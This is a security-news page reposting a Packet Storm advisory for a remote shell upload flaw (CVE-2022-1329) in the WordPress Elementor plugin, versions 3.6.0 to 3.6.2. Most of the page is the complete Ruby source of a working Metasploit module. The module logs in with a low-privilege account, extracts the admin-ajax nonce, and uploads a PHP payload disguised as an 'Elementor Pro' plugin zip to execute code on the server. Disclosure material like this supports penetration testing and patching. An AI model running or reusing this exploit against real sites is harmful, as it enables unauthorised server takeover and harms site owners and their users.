Security
Headlines
HeadlinesLatestCVEs

Headline

WordPress Elementor 3.6.2 Shell Upload

WordPress Elementor plugin versions 3.6.0 through 3.6.2 suffer from a remote shell upload vulnerability. This is achieved by sending a request to install Elementor Pro from a user supplied zip file. Any user with Subscriber or more permissions is able to execute this.

Packet Storm
#vulnerability#git#wordpress#php#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::HTTP::Wordpress  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',        'Description' => %q{          The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability          that allows any authenticated user to upload and execute any PHP file. This is achieved          by sending a request to install Elementor Pro from a user supplied zip file.          Any user with Subscriber or more permissions is able to execute this.          Tested against Elementor 3.6.1        },        'License' => MSF_LICENSE,        'Author' => [          'Ramuel Gall', # Discovery          'AkuCyberSec', # Exploit-db          'h00die' # Metasploit module        ],        'References' => [          ['EDB', '50115'],          ['CVE', '2022-1329'],          ['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],          ['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit        ],        'Platform' => [ 'php' ],        'Arch' => ARCH_PHP,        'Targets' => [          [ 'Wordpress Elementor', {}]        ],        'Privileged' => false,        'DisclosureDate' => '2022-03-29',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),      OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])    ]  end  def check    unless wordpress_and_online?      return CheckCode::Safe('Server not online or not detected as Wordpress')    end    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])    CheckCode::Safe('Invalid credentials given!') unless cookie    return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')  end  def upload_file(nonce, cookie)    zip_file = Rex::Zip::Archive.new    payload_name = 'elementor-pro.php'    print_status("Payload file name: #{payload_name}")    # we end up in wp-admin, so we need to get to the right folder    register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')    # payload must contain a Plugin Name header with the name of the plugin    pload = "<?php\n"    pload << "/**\n"    pload << "* Plugin Name: Elementor Pro\n"    pload << "*/\n"    pload << payload.encoded.gsub('/*<?php /**/ ', '')    pload << "\n?>"    zip_file.add_file("/elementor-pro/#{payload_name}", pload)    vars_form_data = [      # post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')      {        'name' => 'action',        'data' => 'elementor_upload_and_install_pro'      },      # post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')      {        'name' => '_nonce',        'data' => nonce      },      # post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')      {        'name' => 'fileToUpload',        'data' => zip_file.pack,        'encoding' => 'binary',        'filename' => 'elementor-pro.zip',        'mime_type' => 'application/x-zip-compressed'      }    ]    resp = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),      'cookie' => cookie,      'vars_form_data' => vars_form_data    )    # we get a timeout on success    if resp.nil?      print_good('Payload Uploaded Successfully')      return    end    fail_with(Failure::UnexpectedReply, 'Error uploading payload')  end  def get_nonce(cookie)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),      'cookie' => cookie    )    unless res && (res.code == 200)      fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")    end    # find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one    res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s  end  def exploit    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie    cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')    print_status('Looking for nonce')    nonce = get_nonce(cookie)    fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?    print_good("Nonce: #{nonce}")    print_status('Uploading upgrade payload and activating...')    upload_file(nonce, cookie)  endend

Packet Storm: Latest News

WordPress Really Simple Security Authentication Bypass